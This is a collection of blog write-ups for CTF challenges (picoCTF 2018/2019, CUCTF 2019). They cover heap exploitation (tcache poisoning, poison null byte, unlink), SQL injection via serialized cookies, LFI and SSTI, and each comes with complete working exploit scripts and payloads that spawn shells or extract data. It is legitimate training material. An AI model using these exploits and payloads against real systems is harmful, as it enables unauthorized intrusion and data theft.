                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Really? Being a hero is hard.");
  puts("Fine. I see I can\'t convince you otherwise.");
  printf("It\'s dangerous to go alone. Take this: %p\n",system);
  while( true ) {
    while( true ) {
      menu();
      printf("> ");
      local_2c = 0;
      __isoc99_scanf(&DAT_00401040,&local_2c);
      getchar();
      if (local_2c != 2) break;
      delete();
    }
    if (local_2c == 3) break;
    if (local_2c != 1) goto LAB_00400dce;
    add();
  }
  puts("Giving up?");
LAB_00400dce:
                    /* WARNING: Subroutine does not return */
  exit(0);
}


void printflag(void)
{
  int iVar1;
  FILE *__fp;

  __fp = fopen("flag.txt","r");
  if (__fp != (FILE *)0x0) {
    while( true ) {
      iVar1 = _IO_getc((_IO_FILE *)__fp);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
  }
  return;
}

Now, there is a UAF (which will allow for double frees later) and a null byte overflow during allocation.  How do we beat the libc 2.29 check in this scenario?

First, we allocate something, then allocate another chunk (let's say size 0x150).  We free both the chunk above and this 0x150 chunk (real size 0x160 because metadata).  Then we re-allocate something of the first size to get that chunk back and this time, null byte overflow the size field below.  We can re-free the overflown chunk and now it goes into a different bin (specifically the 0x100 tcache bin because of the single null byte overflow).

We can then re-allocate size 0x150 to get this very same chunk back from its tcachebin, and then free it back into 0x100 as the null byte is still in effect, thereby creating a double free by which we can overwrite next pointers for the 0x100 tcachebin.

Then, we can manipulate free hook to pop a shell by calling “free” (now overwritten with system) on a chunk with “/bin/sh."  Also, the leak is already given to use in the beginning in the form of system().  Here is my final exploit:

from pwn import *

elf = ELF('./zero_to_hero')
libc = ELF('./libc.so.6') #2.29 with key mechanism

#context.log_level = 'debug'
#p=process('./zero_to_hero')
p = remote('2019shell1.picoctf.com', 49928)

def wait():
    p.recvrepeat(0.5)

def initiate(): #get libc leak too
    wait()
    p.sendline('y')
    p.recvline()
    p.recvline()
    leak = p.recvline().split('this: ')[1][2:]
    leak = int(leak, 16)
    return leak

def alloc(size, data):
    wait()
    p.sendline('1')
    wait()
    p.sendline(str(size))
    wait()
    p.sendline(data)

def delete(index):
    wait()
    p.sendline('2')
    wait()
    p.sendline(str(index))

system = initiate()
libcBase = system - libc.symbols['system']
freehook = libcBase + 0x1e75a8
log.info("System: " + hex(system))
log.info("Libc Base: " + hex(libcBase))
log.info("Free hook: " + hex(freehook))
#use the null byte to our advantage
#allocate something
#allocate 0x150 (0x160)size (2), free it, null byte overflow it (3) by reallocating first chunk, free it so it goes to 0x100
#then allocate another 0x150 (0x160) (4) to get that chunk back, free it again so it goes back to 0x100 bc null byte already overflowed... double free
#then allocate chunk 5 (0x90 to get 0x100), while overwriting fd to free hook, allocate chunk 6, allocate chunk 7 to get back free hook, can overwrite
#00000000001e75a8 <__free_hook@@GLIBC_2.2.5>:
payload1 = '/bin/sh\x00'
payload1 += 'A' * (0x58 - len(payload1))
alloc(0x50, '') #0
delete(0)
alloc(0x150, 'B'*30) #1
delete(1)
#p.interactive()
alloc(0x58, payload1) #2
#p.interactive()
'''
0xde2250:    0x0000000000000000    0x0000000000000061
0xde2260:    0x0068732f6e69622f    0x4141414141414141
0xde2270:    0x4141414141414141    0x4141414141414141
0xde2280:    0x4141414141414141    0x4141414141414141
0xde2290:    0x4141414141414141    0x4141414141414141
0xde22a0:    0x4141414141414141    0x4141414141414141
0xde22b0:    0x4141414141414141    0x0000000000000100
0xde22c0:    0x0000000000000000    0x0000000000de2010
0xde22d0:    0x4242424242424242    0x000a424242424242
'''
delete(1)
alloc(0x150, 'B' * 30) #3
delete(3)
alloc(0xf0, p64(freehook) + 'C' * 30) #4
alloc(0xf0, 'D' * 40) #5
#p.interactive()
alloc(0xf0, p64(system))
delete(0)
p.interactive()

Zero to hero is finished!

PicoCTF 2019 Ghost Diary Writeup

This was a difficult heap challenge from PicoCTF 2019.  Basically, it revolves around a classic null byte poisoning, but with a tcache twist.  You had to ensure that the tcache was either full (with 7 chunks) or have empty space for this attack to work correctly.  Anyways, let's begin!  Here's the reversed program:
//array at 202060 offset from pie, ghidra shifts everything up for some reason if PIE binary
void alloc(void)
{
  void *pvVar1;
  long in_FS_OFFSET;
  uint local_1c;
  int local_18;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_14 = 0;
  while ((local_14 < 0x14 && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0))) {
    local_14 = local_14 + 1;
  }
  if (local_14 == 0x14) {
    puts("Buy new book");
  }
  else {
    puts("1. Write on one side?");
    puts("2. Write on both sides?");
    while( true ) {
      while( true ) {
        while( true ) {
          printf("> ");
          __isoc99_scanf(&DAT_0010119d,&local_18);
          if (local_18 != 1) break;
          printf("size: ");
          __isoc99_scanf(&DAT_0010119d,&local_1c);
          if (local_1c < 0xf1) goto LAB_00100c64;
          puts("too big to fit in a page");
        }
        if (local_18 != 2) goto LAB_00100ce5;
        printf("size: ");
        __isoc99_scanf(&DAT_0010119d,&local_1c);
        if (0x10f < local_1c) break;
        puts("don\'t waste pages -_-");
      }
      if (local_1c < 0x1e1) break;
      puts("can you not write that much?");
    }
LAB_00100c64:
    pvVar1 = malloc((ulong)local_1c);
    *(void **)(&DAT_00302060 + (ulong)local_14 * 0x10) = pvVar1;
    if (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) == 0) {
      puts("oh noooooooo!! :(");
    }
    else {
      *(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10) = local_1c;
      printf("page #%d\n",(ulong)local_14);
    }
  }
LAB_00100ce5:
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}


void print(void) //for leak probably
{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Page: ");
  __isoc99_scanf(&DAT_0010119d,&local_14);
  printf("Content: ");
  if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
    puts(*(char **)(&DAT_00302060 + (ulong)local_14 * 0x10));
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void delete(void)

{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Page: ");
  __isoc99_scanf(&DAT_0010119d,&local_14);
  if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
    free(*(void **)(&DAT_00302060 + (ulong)local_14 * 0x10));
    *(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10) = 0;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void edit(void)
{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Page: ");
  __isoc99_scanf(&DAT_0010119d,&local_14);
  printf("Content: ");
  if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
    FUN_00100a5a(*(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10),
                 (ulong)*(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10),
                 (ulong)*(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10));
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void FUN_00100a5a(long lParm1,uint uParm2)
{
  ssize_t sVar1;
  long in_FS_OFFSET;
  char local_15;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_14 = 0;
  if (uParm2 != 0) {
    while (local_14 != uParm2) {
      sVar1 = read(0,&local_15,1);
      if (sVar1 != 1) {
        puts("read error");
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
      if (local_15 == '\n') break;
      *(char *)((ulong)local_14 + lParm1) = local_15;
      local_14 = local_14 + 1;
    }
    *(undefined *)(lParm1 + (ulong)local_14) = 0; //poison null byte
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}



void menu(void)
{
  puts("1. New page in diary");
  puts("2. Talk with ghost");
  puts("3. Listen to ghost");
  puts("4. Burn the page");
  puts("5. Go to sleep");
  printf("> ");
  return;
}

It's a pretty clear poison null byte attack due to the edit function.  However, there is an annoying limitation about the range of 0x10f and 0xf1; you are also limited under size 0x1e1.  With these limitations, the poison null byte does become a little more complicated, as once you overwrite any size into 0x100 with the null byte, you will need to allocate this overwritten chunk (before you free it) with data in a way to pass the double free or corruption (!prev) present in glibc.

Before starting, I pulled the libc-2.27.so file from the shell server.  I allocated three chunks at first (first one and last one as 0x128, and the middle one as 0x118), with the last one setup correctly to beat the check mentioned above.

Then, I filled up tcache for the bigger size with 7 allocations and tcache for the 0x100 real size tcachebin (the null byte poisoning will transform the 3rd original chunk into size 0x100) for later back consolidation; otherwise, freeing the chunk which we null byte poisoned will just send it to tcache bin for real size 0x100. Then, we send the first chunk into unsorted by freeing it since tcache for its size is full.  We now can poison null byte the third original chunk, free it, and back coaelesce (make sure to have prev size set accordingly so we can have a complete back coaelesce to the first chunk) once we free it with the help of the lack of prev in use bit and the proper prev size before it.

Afterwards, make sure to empty tcache for size 0x128 before reallocating a 0x128 chunk; this will allow it to overlap over the unsorted bin addresses, allowing for a libc leak.  We allocate another chunk now, this time over the original location of the second chunk (the second chunk was never freed).

Now, by freeing both the second chunk and the newly allocated chunk which overlaps with the former, we can create a double free and perform a tcache poisoning attack.  Re-allocating just one of them can allow us to change the next pointer to free hook, which in turn will allow us to overwrite it with system and pop a shell by calling "free" on a chunk with "/bin/sh\x00"
Here is the final exploit with a ton of comments:
from pwn import *

#context.log_level = 'debug'
binary = ELF('./ghostdiary')
libc = ELF('./libc-2.27.so')
'''
remote = ssh(host='10.0.2.5', user='will', password='OMITTED')
remote.set_working_directory('/home/will/ghostdiary')
context(arch='amd64')
p = remote.process('./ghostdiary')
'''
#https://github.com/cr0wnctf/writeups/tree/master/2018/2018_10_20_HITCON/children_tcache
#http://eternal.red/2018/children_tcache-writeup-and-tcache-overview/
p = process('/problems/ghost-diary_3_ef159a8a880a083c73a2bb724fc0bfcb/ghostdiary')

def wait():
    p.recvrepeat(0.1)

def alloc(size):
    wait()
    p.sendline(str(1))
    wait()
    if (size > 240):
        p.sendline(str(2))
    else:
        p.sendline(str(1))
    wait()
    p.sendline(str(size))

def delete(index):
    wait()
    p.sendline(str(4))
    wait()
    p.sendline(str(index))

def show(index):
    wait()
    p.sendline(str(3))
    wait()
    p.sendline(str(index))

def edit(index, data):
    wait()
    p.sendline(str(2))
    wait()
    p.sendline(str(index))
    wait()
    p.sendline(data)

big = 0x128 # tcache-able
small = 0x118 # tcache-able
alloc(big)
edit(0, 'A' * 50)
alloc(small)
edit(1, 'B' * 50)
alloc(big)
edit(2, 'C' * 0xf8 + p64(0x31)) #not filled to prevent the check about normal size from going crazy and the !prev thing, also beat the double free corruption thing
#0, 1, 2 above

#3-9, fill tcache for big size
for i in range(7):
    alloc(big)
for i in range(7):
    delete(i+3)
#fill tcache for 0x100 which is necessary for consolidation later too
for i in range(7):
    alloc(0xf0)
for i in range(7):
    delete(i+3)

#now the big 0x128 chunk goes to unsorted bc tcache filled (7 chunks max)
delete(0)

edit(1, 'D' * (small-8) + p64(big + small + 0x10)) #poison null byte time + fake prev size to beat check
#back consolidate
delete(2)
#empty tcache
for i in range(7):
    alloc(big) #0, 2, 3,4,5,6,7
#now pull from unsorted as tcache is empty
alloc(big)
show(8)
temp = p.recvuntil('>').split('\n')[0].split(': ')[1]
libcLeak = u64(temp.ljust(8, '\x00'))
log.info("Libc leak: " + hex(libcLeak))
#x/gx 0x00007fbeaada6fe0
#0x7fbeaada6fe0 <main_arena+928>:    0x00007fbeaada6fd0
'''
[+]libc version : glibc 2.27
[+]build ID : BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0
[+]main_arena_offset : 0x3ebc40
'''
libcbase = libcLeak - 0x3ebc40 - 928
log.info("Libc Base: " + hex(libcbase))
#00000000003ed8e8 <__free_hook@@GLIBC_2.2.5
freehook = libcbase + 0x3ed8e8
log.info("Free hook: " + hex(freehook))
system = libcbase + libc.symbols['system']
log.info("System: " + hex(system))
#now tcache poison
alloc(small) #so now something is over chunk "B" #9
#tcache poison double free
delete(1)
delete(9)
alloc(small) #1
edit(1, p64(freehook))
alloc(small)#9
alloc(small)#10
edit(10, p64(system)) #get back fake chunk
alloc(0x180)#11, for bin sh string
edit(11, '/bin/sh')
delete(11) #calling "free" on chunk with /bin/sh
p.interactive()

There you have it!  Ghost diary finished!

Friday, October 11, 2019

PicoCTF 2019 Heap Overflow Writeup

PicoCTF 2019 this year had 3 heap pwns with custom mallocs.

Note that in both Afterlife and Secondlife, the exploit was very similar to the hints.  You just had to flip the order of the addresses you place and slightly change the offset (by debugging in gdb) because the malloc was custom, but very similar to dlmalloc.  In the end, my script for both were the same.  The only differences were the win address.  Here was the basis of the script for both:

from pwn import *
context.log_level = 'debug'
#http://homes.sice.indiana.edu/yh33/Teaching/I433-2016/lec13-HeapAttacks.pdf
#basically same attack as secondlife
shellcode = '\x90' * 0x80 + '\xB8\x66\x89\x04\x08\xFF\xD0' + '\x90' * 0x80
'''
mov eax, 0x08048966
call eax
'''
exit = 0x804d02c
remote = ssh(DETAILS OMMITTED)
remote.set_working_directory('/problems/afterlife_4_1753231287c321c4b5b1102d1b2272c6')
#p = process(['./vuln', 'blah'])
p = remote.process(['./vuln', 'blah'])
p.recvline()
leak = p.recvline()
leak = int(leak)
log.info('Leak: ' + hex(leak))
p.interactive()
p.recvrepeat(0.3)
#p.sendline(p32(exit - 12) + p32(leak + 16) + shellcode)
p.sendline(p32(leak + 16) + p32(exit - 8) + shellcode)
print p.recvall()


Heap Overflow
Once again, another very similar payload is used on this custom malloc/free program.  Comments for the variation are in the script itself.
from pwn import *

win = 0x08048936
exit = 0x804d02c
free = 0x8049aa4
context.log_level = 'debug'

#https://www.win.tue.nl/~aeb/linux/hh/hh-11.html
remote = ssh(DETAILS OMITTED)
remote.set_working_directory('/problems/heap-overflow_6_b4a1244485bc8fdf27646e1db83dc360')
p = remote.process('./vuln')
#target first big chunk, overwrite puts@GOT with exit

p.recvline()
leak = int(p.recvline())
p.recvline()
log.info('Leak: ' + hex(leak))
#668 begins overflow
'''
Success! Watch carefully: p and q are 1032 (0x408) apart. The second 0xfffffffc overflows the size field of the buffer q with an even value (-4), so the prev_size field (also -4) is valid, and we subtract it from the pointer (q-8) to the struct chunk of q in order to get the pointer (q-4) to its predecessor. Now the assignments fwd->bk = bck; bck->fd = fwd; become *(A+12) = B; *(B+8) = A where A = 0x080495e8 is &n - 12 and B = 0xbfffff80 is some random address on the stack. Now *(A+12) = B does n = B, and that is what we see.
'''
#padding till overflow + valid prev size and valid size + padding + address to leak and then puts@GOT-8
shellcode = '\x90' * 60 + '\xB8\x36\x89\x04\x08\xFF\xD0' + '\x90' * 100
'''
mov eax, 0x08048936
call eax
'''
shellcode = shellcode + 'A' * (664 - len(shellcode))
payload = shellcode + p32(0xfffffffc) + p32(0xfffffffc) + p32(0x804d028-12) + p32(leak + 20)
p.sendline(payload)
p.interactive()
p.sendline()
print p.recvall()
'''
break here
0x8049bee <free+330>: mov    DWORD PTR [eax+0xc],edx
'''
These challenges were really easy heap challenges and were sort of weird too.

Some PicoCTF 2019 Crypto and Web Writeups (AES-ABC, Cereal 1 & 2, Empire 3)

This post just has some writeups for interesting problems I found in both cryptography and web exploitation categories.

AES ABC

Basically, the gist of this problem was that ABC summed up the data created in an ECB encrypted image (which is really insecure as original data can still be distinguished due to the nature of ECB!)

def aes_abc_encrypt(pt):
    cipher = AES.new(KEY, AES.MODE_ECB)
    ct = cipher.encrypt(pad(pt))

    blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
    iv = os.urandom(16)
    blocks.insert(0, iv)
 
    for i in range(len(blocks) - 1):
        prev_blk = int(blocks[i].encode('hex'), 16)
        curr_blk = int(blocks[i+1].encode('hex'), 16)

        n_curr_blk = (prev_blk + curr_blk) % UMAX
        blocks[i+1] = to_bytes(n_curr_blk)

    ct_abc = "".join(blocks)

    return iv, ct_abc, ct
So if we just reverse that operation (padding and the IV won't even matter... they will just mess up some pixels), we should be able to distinguish the original image.  Here was my final script to reverse the operations on the image.
from Crypto.Cipher import AES
#from key import KEY
import os
import math

'''
(n + x) mod m = b
reversed is
x = (b - n) mod m
'''

BLOCK_SIZE = 16
UMAX = int(math.pow(256, BLOCK_SIZE))


def to_bytes(n):
    s = hex(n)
    s_n = s[2:]
    if 'L' in s_n:
        s_n = s_n.replace('L', '')
    if len(s_n) % 2 != 0:
        s_n = '0' + s_n
    decoded = s_n.decode('hex')

    pad = (len(decoded) % BLOCK_SIZE)
    if pad != 0:
        decoded = "\0" * (BLOCK_SIZE - pad) + decoded
    return decoded


def remove_line(s):
    # returns the header line, and the rest of the file
    return s[:s.index('\n') + 1], s[s.index('\n')+1:]


def parse_header_ppm(f):
    data = f.read()

    header = ""

    for i in range(3):
        header_i, data = remove_line(data)
        header += header_i

    return header, data

def pad(pt):
    padding = BLOCK_SIZE - len(pt) % BLOCK_SIZE
    return pt + (chr(padding) * padding)  # would padding really matter, it's ecb anyways so we should be able to see image

def aes_abc_encrypt(pt):
    cipher = AES.new(KEY, AES.MODE_ECB)
    ct = cipher.encrypt(pad(pt)) #encrypts image with ECB

    blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
    '''
    for i in range(len(ct) / BLOCK_SIZE):
        blocks[i] = ct[(i * BLOCK_SIZE):(i+1) * BLOCK_SIZE] //sets blocks accordingly to ecb
    '''
    iv = os.urandom(16)
    blocks.insert(0, iv) #inserts iv in front
 
    for i in range(len(blocks) - 1):
        prev_blk = int(blocks[i].encode('hex'), 16)
        curr_blk = int(blocks[i+1].encode('hex'), 16)

        n_curr_blk = (prev_blk + curr_blk) % UMAX
        blocks[i+1] = to_bytes(n_curr_blk)

    ct_abc = "".join(blocks)

    return iv, ct_abc, ct

def aes_abc_decrypt(ct):
    blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
    blocks = blocks[1:] #strip iv
    #reverse operations
    for i in range(len(blocks)-1, 1, -1):
        prev_blk = int(blocks[i-1].encode('hex'), 16)
        curr_blk = int(blocks[i].encode('hex'), 16)
n_curr_blk = (curr_blk-prev_blk)%UMAX
blocks[i] = to_bytes(n_curr_blk)
    return ''.join(blocks)


if __name__=="__main__":
    with open('body.enc.ppm', 'rb') as f:
        header, data = parse_header_ppm(f)
        data = aes_abc_decrypt(data)
    #iv, c_img, ct = aes_abc_encrypt(data)

    with open('decrypt.ppm', 'wb') as fw:
        fw.write(header) #header still writen back to new file
        fw.write(data)

This was considered one of the harder crypto challenges this year... picoCTF 2019 crypto really was easier than 2018's.

Cereal 1

This web challenge took me a while to figure out.  I knew it had something to do with serialization from the name "cereal."  I also guessed a login as guest:guest.  Lastly, there was an admin page and a regular user page on the website.  Playing around, I found a sqli in the cookie (the structure of it can be decoded via base64 decode and url decode).  Here was the final php script used to generate the malicious sqli cookie.

<?php class permissions
{
        public $username = "guest";
        public $password = "guest";
}

$payload = new Permissions();
$payload->username = "admin";
$payload->password = "test'or'1=1";
echo urlencode(base64_encode(serialize($payload)));
echo "\n";
?>

Then, you will get the flag.

Cereal 2
Credentials no longer work anymore.  Playing around, I realized that we can LFI the webpage by simply changing the file it requests.  In order to reveal the original PHP source, I used the filter base64 decode method from pentesting cheatsheets to LFI (?file=php://filter/convert.base64-encode/resource=page.php).  From the pages such as index.php and admin.php, we end up finding a connection to cookies.php, which has the following code

<?php

require_once('../sql_connect.php');

// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
public $username;
public $password;

function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}

function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
//$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';

if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
    die("SQL error");
}

$prepared->bind_param('ss', $this->username, $this->password);

if (!$prepared->execute()) {
    die("SQL error");
}

if (!($result = $prepared->get_result())) {
    die("SQL error");
}

$r = $result->fetch_all();
if($result->num_rows !== 1){
$is_admin_val = 0;
}
else{
$is_admin_val = (int)$r[0][0];
}

$sql_conn->close();
return $is_admin_val;
}
}
#prepared statements above aren't vulnerable
/* legacy login */
class siteuser
{
public $username;
public $password;

function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}

function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';

$result = $sql_conn->query($q);
if($result->num_rows != 1){
$is_user_val = 0;
}
else{
$is_user_val = 1;
}

$sql_conn->close();
return $is_user_val;
}
}


if(isset($_COOKIE['user_info'])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
}
catch(Exception $except){
die('Deserialization error.');
}
}

?>

Once again, we can do sqli by making it deserialize the legacy version (which still exists).  Playing around with my previous script from cereal 1, I determined that an injection in which we guess the character of the password one by one can be done; this is a classic boolean injection attack.
Using my "like" method, there was an issue with the first few characters, but with some fiddling, I figured it had to start with picoCTF.  Afterwards, it worked fine.

<?php class siteuser
{
        public $username = "guest";
        public $password = "guest";
}

#boolean sqli
$charset = "0123456789abcdefghijklmnopqrstuvwxyz{}";
$flag = "picoCTF";
for($i = 0; $i < strlen($charset); $i++)
{
$sqli = "blahblahthisnamedoesntexist' union select admin from pico_ch2.users where password like '".$flag.$charset[$i]."%'-- ";
$payload = new siteuser();
$payload->username = $sqli;
$result = request("user_info=".urlencode(base64_encode(serialize($payload))));
if ($result)
{
$flag = $flag.$charset[$i];
echo $flag."\n";
if ($charset[$i] !== "}")
{
$i=0;
}
}
}

function request($payload)
{
$exploit = curl_init();
curl_setopt($exploit, CURLOPT_URL,"http://2019shell1.picoctf.com:62195/index.php?file=admin");
curl_setopt($exploit, CURLOPT_COOKIE, $payload);
curl_setopt($exploit, CURLOPT_COOKIESESSION, 1);
curl_setopt($exploit, CURLOPT_RETURNTRANSFER, true);
curl_setopt($exploit, CURLOPT_HEADER, true);
$output = curl_exec($exploit);
curl_close ($exploit);
if (strstr($output, "You are not admin!"))
{
return false;
}
else
{
return true;
}
}
?>



There also is an unintended solution where you can use the sql creds you find in sql_connect.php to connect to the database and just grab the flag there.

Empire 3
An easy SSTI injection, just like Flaskcards and Freedom from 2018.  My final payload is the following (I targeted warnings catch warnings):
{{ ''.__class__.__mro__[1].__subclasses__()[157].__init__.__globals__.__builtins__.eval("__import__('os').popen('grep -R .').read()") }}

Sunday, September 29, 2019

CUCTF 2019 TCash Writeup

Thanks to Nick for sending me CUCTF 2019's TCash challenge.  It's a cool little tcache poisoning challenge!  Anyways, let's take a look at the binary.

Basically, it's about the TCash Ledger Wallet.  You can create entries, edit the address, description, and amount, and delete entries.  You can display ledgers and the edit functions all use read().  Lastly, here is where the bug is.  Basically, in each entry, the binary stores metadata about the size of each part of the ledger and also pointers to the data.  However, upon freeing, it does not set the data to null. Also, the binary is running on an Ubuntu Bionic server, so libc version 2.27 probably.

With TCache on 2.27, exploitation is very trivial.  I can directly double free by freeing the same pointer in a row and there is no size check in tcache as of this libc version.  Make sure only one part of the data in each ledger is the same size for simplicity's sake. We can then edit a double freed chunk to have its next pointer point to free hook (no size check means we can have it return chunks anywhere without the 0x7f byte misalignment).  Overwrite free hook with system and then call it on a chunk with the string "/bin/sh\x00\x00" and the binary will be pwned; it can work if it's Full RELRO or PIE even.  Last thing... what about the libc leak?  Well, we can allocate items of size greater than maximum tcache size.  Free that chunk and it goes into unsorted.  Then, displaying it will leak pointers to offsets from the main arena, which will allow us to calculate libc base.  Here's the final exploit:
from pwn import *

binary = ELF('./tcash')
libc = ELF('./libc-2.27.so')
#context.log_level = 'debug'
time = 0.1
remote = ssh(host='10.0.2.5', user='will', password='123456789')
remote.set_working_directory('/home/will/tcash')
context(arch='amd64')
p = remote.process('./tcash')

def alloc(index, addr_size, desc_size, amount_size):
p.recvrepeat(time)
p.sendline('Create Entry')
p.recvrepeat(time)
p.sendline(str(index))
p.recvrepeat(time)
p.sendline(str(addr_size))
p.recvrepeat(time)
p.sendline(str(desc_size))
p.recvrepeat(time)
p.sendline(str(amount_size))

def edit(index, whichOne, data):
p.recvrepeat(time)
p.sendline(whichOne)
p.recvrepeat(time)
p.sendline(str(index))
p.recvrepeat(time)
p.sendline(data)

def delete(index):
p.recvrepeat(time)
p.sendline('Delete Entry')
p.recvrepeat(time)
p.sendline(str(index))

def leak(index):
p.recvrepeat(time)
p.sendline('Display Entry')
p.recvrepeat(time)
p.sendline(str(index))

alloc(0, 0x500, 0x10, 0x10)
#edit(0, 'Edit Address', 'A' * 0x50) #for debugging purposes
delete(0)
#p.interactive()
#<main_arena+96> is the leaked offset to main arena
#[+]main_arena_offset : 0x3ebc40
#00000000003ed8e8 <__free_hook@@GLIBC_2.2.5>:
leak(0)
libcLeak = u64((p.recvuntil('Description:').split('\n')[0].split('ress: ')[1]).ljust(8, '\x00'))
log.info('Leaked Libc Address: ' + hex(libcLeak))
libc.address = libcLeak - 0x3ebc40 - 96
log.info('Libc Base: ' + hex(libc.address))
log.info('Free Hook: ' + hex(libc.address + 0x3ed8e8))
log.info('System: ' + hex(libc.symbols['system']))
alloc(0, 0x80, 0x10, 0x10)
edit(0, 'Edit Address', 'A' * 0x50)
delete(0)
delete(0)
alloc(0, 0x80, 0x10, 0x10)
edit(0, 'Edit Address', p64(libc.address + 0x3ed8e8)) #forge fd now
alloc(1, 0x80, 0x10, 0x10)
alloc(2, 0x80, 0x10, 0x10) #get malicious chunk back now
edit(2, 'Edit Address', p64(libc.symbols['system'])) #overwrite free hook with system
edit(1, 'Edit Address', '/bin/sh\x00\x00') #for free hook, which is now system
delete(1)
p.interactive()
Cool challenge, Nick!

Tuesday, September 24, 2019

No-Args PicoCTF 2018 Writeup

PicoCTF 2019 is right around the corner, so I decided to go back and solve some of the problems I was unable to solve last year.  Out of those unsolved problems, no-args was one I was very intent on solving; it was last year's final problem, and of course, was related to binary exploitation.  I originally tried to solve it based on 0n3m4ns4rmy's writeup several months ago, but had absolutely no idea what to do back then.  This time around, I managed to solve it!  Thanks to nek0nyaa by the way for providing me some tips when I got stuck.  Anyways, let's begin!  Make sure to debug on Xenial Xerus!

After playing around with the program for a while, here are a few things to note:
struct linked_list_node {
  char *problem_name;
  struct linked_list_node *next_ptr;
  uint32_t num_votes;
};

typedef struct linked_list_node problem_t;
problem_t *list;

struct ballot_t {
  char buf[LINE];
  problem_t *curr_problem;
  char votes; //1 byte
};
Those are the structures used in this program.  There is also a state variable that determines whether you can nominate or vote; upon taking certain actions in the program, the state variable changes accordingly to prevent you from taking actions that are higher on the list.  The linked list is located at 0x602028 according to GHIDRA and the state variable is at 0x602020 according to GHIDRA.  The binary is unfortunately Full RELRO, but thankfully has no PIE.  Now... where is the bug?  Since this was the finale pwn, I thought this had to be a heap bug.  In the end, there is a relationship to the heap, but the bug is actually much simpler: a buffer overflow that provides you the ability to perform arbitrary write.  Take a look at the following snippet from the function that allows you to choose a problem to vote for (I apologize for the poor formatting here).

if (!strcasecmp(ballot.buf, "choose")) { //typing choose here is interesting ballot.curr_problem =

find_problem("no-args"); if (ballot.curr_problem) { printf("You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?\n> "); 

get_line(ballot.buf, BUF_LEN);//buf is only 32 bytes, but BUF_LEN is 48

 if (!strcasecmp(ballot.buf,"yes") || !strcasecmp(ballot.buf,"y")) { ballot.curr_problem->num_votes += ballot.votes;

Basically, we can overflow into the rest of the struct, including the pointer to the current problem and the following byte, which can give us the ability to write arbitrarily; we can write into that last byte in ballot, which in turn will be added to the "location" of num_votes in the problem object, but can actually be elsewhere cause of the overflow of the pointer.  It is not exactly a write, but more of a addition type of write.  Be careful though as there is an issue between signed and unsigned due to the different way the counts are declared in each struct.  If the leftmost bit you are writing has a one, the computer will provide a sign extension due to arithmetic and write a ton of 0xffs... not an ideal situation for arbitrary write.  How do we resolve this?  It's a simple solution honestly... if your byte to write is greater than 0x7f, first write 0x7f, then write the byte you want to write minus 0x7f.  Simple arithmetic shows that you will still get that original byte written.  Also, as LINE is 32 bytes (buffer size in ballot), the pointer can be overwritten immediately afterwards, and then the one byte.  Here's the function I used to write:
def write(address, data): #give data as packed string, address as int
offset = 0
for i in data:
#0x10 related to struct layout for problem objects, so you actually write in right place
if ord(i) > 0x7f:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + '\x7f')
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + chr(ord(i) - 0x7f))
else:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + i)
offset+=1

